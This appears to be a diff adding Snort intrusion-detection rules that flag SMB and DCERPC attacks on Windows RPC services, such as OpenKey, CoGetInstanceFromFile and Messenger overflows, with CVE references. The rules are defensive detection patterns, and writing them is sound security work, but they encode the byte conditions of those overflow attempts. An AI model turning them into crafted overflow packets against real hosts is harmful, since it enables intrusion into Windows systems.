+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC IrotIsRunning attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 02|"; within:2; distance:19; byte_test:4,>,128,0,relative; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3238; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC IrotIsRunning little endian attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|02 00|"; within:2; distance:19; byte_test:4,>,128,0,little,relative; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3239; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB irot little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3241; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS RemoteActivation unicode attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8; classtype:protocol-command-decode; sid:3419; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IrotIsRunning andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 02|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3260; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB RemoteActivation andx attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6; classtype:protocol-command-decode; sid:3413; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB OpenKey overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0F|"; within:2; distance:19; byte_test:2,>,1024,20,relative; reference:bugtraq,1331; reference:cve,2000-0377; reference:url,www.microsoft.com/technet/security/bulletin/MS00-040.mspx; classtype:attempted-admin; sid:3218; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC msqueue little endian bind attempt"; flow:to_server,established; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3157; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 01|"; within:2; distance:19; byte_test:4,>,128,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3180; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS ISystemActivator little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3406; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS irot unicode little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3251; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg unicode little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3205; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3211; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IActivation unicode little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3384; rev:2;)
+alert udp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS Messenger message little endian overflow attempt"; content:"|04 00|"; depth:2; byte_test:1,&,16,2,relative; content:"|F8 91|{Z|00 FF D0 11 A9 B2 00 C0|O|B6 E6 FC|"; within:16; distance:22; content:"|00 00|"; within:2; distance:28; byte_jump:4,18,little,align,relative; byte_jump:4,8,little,align,relative; byte_test:4,>,1024,8,little,relative; reference:bugtraq,8826; reference:cve,2003-0717; classtype:attempted-admin; sid:3234; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ISystemActivator andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00|F"; within:16; distance:29; flowbits:set,dce.isystemactivator.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3397; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg unicode little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3217; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB RemoteActivation unicode little endian andx attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8,little; classtype:protocol-command-decode; sid:3416; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS msqueue unicode bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3170; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB msqueue bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3160; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IActivation bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3377; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile unicode little endian attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|04 00|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8,little; classtype:protocol-command-decode; sid:3428; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS OpenKey unicode little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0F 00|"; within:2; distance:19; byte_test:2,>,2048,20,relative,little; reference:bugtraq,1331; reference:cve,2000-0377; reference:url,www.microsoft.com/technet/security/bulletin/MS00-040.mspx; classtype:attempted-admin; sid:3233; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS CoGetInstanceFromFile unicode attempt"; flow:established,to_server; flowbits:isset,dce.isystemactivator.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 04|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8; classtype:protocol-command-decode; sid:3435; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile unicode overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 01|"; within:2; distance:19; byte_test:4,>,256,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3178; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB CoGetInstanceFromFile unicode little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.msqueue; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|01 00|"; within:2; distance:19; byte_test:4,>,256,20,relative; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:attempted-admin; sid:3183; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS irot bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3248; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB irot little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"`|9E E7 B9|R=|CE 11 AA A1 00 00|i|01 29|?"; within:16; distance:29; flowbits:set,smb.tree.bind.irot; flowbits:noalert; classtype:protocol-command-decode; sid:3245; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB RemoteActivation unicode little endian attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 00 5C 00|"; byte_test:4,>,256,8,little; classtype:protocol-command-decode; sid:3412; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IActivation little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3386; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB msqueue unicode andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B0 01|R|97 CA|Y|D0 11 A8 D5 00 A0 C9 0D 80|Q"; within:16; distance:29; flowbits:set,smb.tree.bind.msqueue; flowbits:noalert; reference:cve,2003-0995; reference:url,www.eeye.com/html/Research/Advisories/AD20030910.html; reference:url,www.microsoft.com/technet/security/bulletin/MS03-026.mspx; classtype:protocol-command-decode; sid:3166; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IActivation unicode little endian andx bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|B8|J|9F|M|1C|}|CF 11 86 1E 00| |AF|n|7C|W"; within:16; distance:29; flowbits:set,dce.iactivation.bind; flowbits:noalert; classtype:protocol-command-decode; sid:3392; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB RemoteActivation attempt"; flow:established,to_server; flowbits:isset,dce.iactivation.bind; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 00|"; within:2; distance:19; content:"|5C 5C|"; byte_test:4,>,256,6; classtype:protocol-command-decode; sid:3409; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IrotIsRunning unicode andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.irot; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 02|"; within:2; distance:19; byte_jump:4,8,relative,little,align; byte_test:4,>,1024,0,little; reference:bugtraq,6005; reference:cve,2002-1561; reference:url,www.microsoft.com/technet/security/bulletin/MS03-010.mspx; classtype:protocol-command-decode; sid:3270; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS OpenKey little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0F 00|"; within:2; distance:19; byte_test:2,>,1024,20,relative,little; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3227; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg little endian bind attempt"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,&,16,3,relative; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; flowbits:noalert; classtype:protocol-command-decode; sid:3203; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS OpenKey overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-17,relative,from_beginning,little; pcre:"/^.{4}/R"; content:"|05|"; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0F|"; within:2; distance:19; byte_test:2,>,1024,20,relative; reference:bugtraq,1331; reference:cve,2000-0377; classtype:attempted-admin; sid:3226; rev:2;)
